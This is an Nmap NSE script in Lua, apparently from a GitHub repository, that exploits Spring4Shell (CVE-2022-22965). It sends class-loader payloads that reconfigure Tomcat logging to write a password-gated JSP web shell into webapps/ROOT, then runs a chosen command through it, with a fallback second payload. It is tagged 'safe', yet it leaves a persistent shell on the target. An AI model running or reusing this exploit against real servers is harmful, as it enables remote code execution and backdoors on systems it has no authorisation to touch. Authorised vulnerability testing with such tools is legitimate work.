-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathspring4shell.nse
157 lines (131 loc) · 7.57 KB
/
spring4shell.nse
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
description = [[
Spring4Shell
CVE-2022-22965
]]
---
-- @usage
--
-- @output
--
-- @args
--
---
local http = require "http"
local string = require "string"
local table = require "table"
local stdnse = require "stdnse"
local shortport = require "shortport"
local vulns = require "vulns"
author = "Grzegorz Piechnik <bugspace DOT com>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default", "vuln", "safe", "spring4shell"}
-- We are only interested in http requests
portrule = shortport.http
action = function(host, port)
-- The buln definition section
local vuln = {
title = "Spring4Shell - Spring Framework RCE via Data Binding on JDK 9+",
state = vulns.STATE.NOT_VULN, --default
IDS = { CVE = 'CVE-2022-22965' }
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
-- Local variables
local endpoint = stdnse.get_script_args(SCRIPT_NAME .. '.endpoint') or ''
local command = stdnse.get_script_args(SCRIPT_NAME .. '.command') or 'id'
local assertion = stdnse.get_script_args(SCRIPT_NAME .. '.assertion') or 'uid'
local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename') or 'shell'
if command ~= 'id' and assertion == 'uid' then
return("ERROR: To use a 'command' argument, also define an 'assertion' argument.")
end
if command == 'id' and assertion ~= 'uid' then
return("ERROR: To use a 'assertion' argument, also define an 'command' argument.")
end
local headers = {
["prefix"] = "<%",
["suffix"] = "%>//",
["c"] = "Runtime",
["c1"] = "Runtime",
["c2"] = "Runtime",
["dnt"] = "1",
["content-type"] = "application/x-www-form-urlencoded"
}
local log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
local log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
local log_file_dir = "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT"
local log_file_prefix = "class.module.classLoader.resources.context.parent.pipeline.first.prefix=" .. filename
local log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
local file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
local payload = log_pattern .. log_file_suffix .. log_file_dir .. log_file_prefix .. log_file_date_format
local second_payload = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=" .. filename .. "&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
if shortport.http(host, port) then
-- First POST request
stdnse.debug("First post request")
local response = http.generic_request(host, port.number, "POST", endpoint, { header = headers, content = file_date_data, no_cache = true })
-- Change the tomcat log location variables --
stdnse.debug("Change the tomcat log location variables")
local response = http.generic_request(host, port.number, "POST", endpoint, { header = headers, content = payload, no_cache = true })
stdnse.sleep(3)
-- Write the web shell --
stdnse.debug("Write the web shell")
local response = http.generic_request(host, port.number, "GET", endpoint, { header = headers, no_cache = true })
stdnse.sleep(1)
-- Reset the pattern
stdnse.debug("Reset the pattern")
local pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
local response = http.generic_request(host, port.number, "POST", endpoint, { header = headers, content = pattern_data, no_cache = true })
-- Verify that RCE is working on the server
stdnse.debug("Verify that RCE is working on the server")
local response = http.generic_request(host, port.number, "GET", "/" .. filename .. ".jsp?pwd=j&cmd=" .. command, { content = pattern_data, no_cache = true })
local response_body = response.body
local status = response.status
if status == nil then
-- Something went really wrong out there
-- According to the NSE way we will die silently rather than spam user with error messages
vuln.extra_info = "URL: " .. host.ip .. ":" .. port.number .. endpoint
else
if status ~= 404 then
if string.find(response_body, assertion) then
vuln.state = vulns.STATE.VULN
else
vuln.state = vulns.STATE.LIKELY_VULN
end
vuln.check_results = host.ip .. ":" .. port.number .. "/" .. filename .. ".jsp?pwd=j&cmd=" .. command
vuln.extra_info = "TESTED URL: " .. host.ip .. ":" .. port.number .. "\n" .. " PATH: " .. endpoint .. "\n" .. " COMMAND: " .. command .. "\n" .. " ASSERTION: " .. assertion
else
vuln.state = vulns.STATE.NOT_VULN
vuln.extra_info = "TESTED URL: " .. host.ip .. ":" .. port.number .. "\n" .. " PATH: " .. endpoint .. "\n" .. " COMMAND: " .. command .. "\n" .. " ASSERTION: " .. assertion
end
end
-- Use second way of exploiting
if vuln.state ~= vulns.STATE.VULN then
-- Send second payload
stdnse.debug("Send second payload")
local response = http.generic_request(host, port.number, "POST", endpoint, { header = headers, content = second_payload, no_cache = true })
stdnse.sleep(3)
-- Verify that RCE is working on the server
stdnse.debug("Verify that RCE is working on the server")
local response = http.generic_request(host, port.number, "GET", "/" .. filename .. ".jsp?pwd=j&cmd=" .. command, { content = pattern_data, no_cache = true })
local response_body = response.body
local status = response.status
if status == nil then
-- Something went really wrong out there
-- According to the NSE way we will die silently rather than spam user with error messages
vuln.extra_info = "URL: " .. host.ip .. ":" .. port.number .. endpoint
else
if status ~= 404 then
if string.find(response_body, assertion) then
vuln.state = vulns.STATE.VULN
else
vuln.state = vulns.STATE.LIKELY_VULN
end
vuln.check_results = host.ip .. ":" .. port.number .. "/" .. filename .. ".jsp?pwd=j&cmd=" .. command
vuln.extra_info = "TESTED URL: " .. host.ip .. ":" .. port.number .. "\n" .. " PATH: " .. endpoint .. "\n" .. " COMMAND: " .. command .. "\n" .. " ASSERTION: " .. assertion
else
vuln.state = vulns.STATE.NOT_VULN
vuln.extra_info = "TESTED URL: " .. host.ip .. ":" .. port.number .. "\n" .. " PATH: " .. endpoint .. "\n" .. " COMMAND: " .. command .. "\n" .. " ASSERTION: " .. assertion
end
end
end
return report:make_output(vuln)
end
end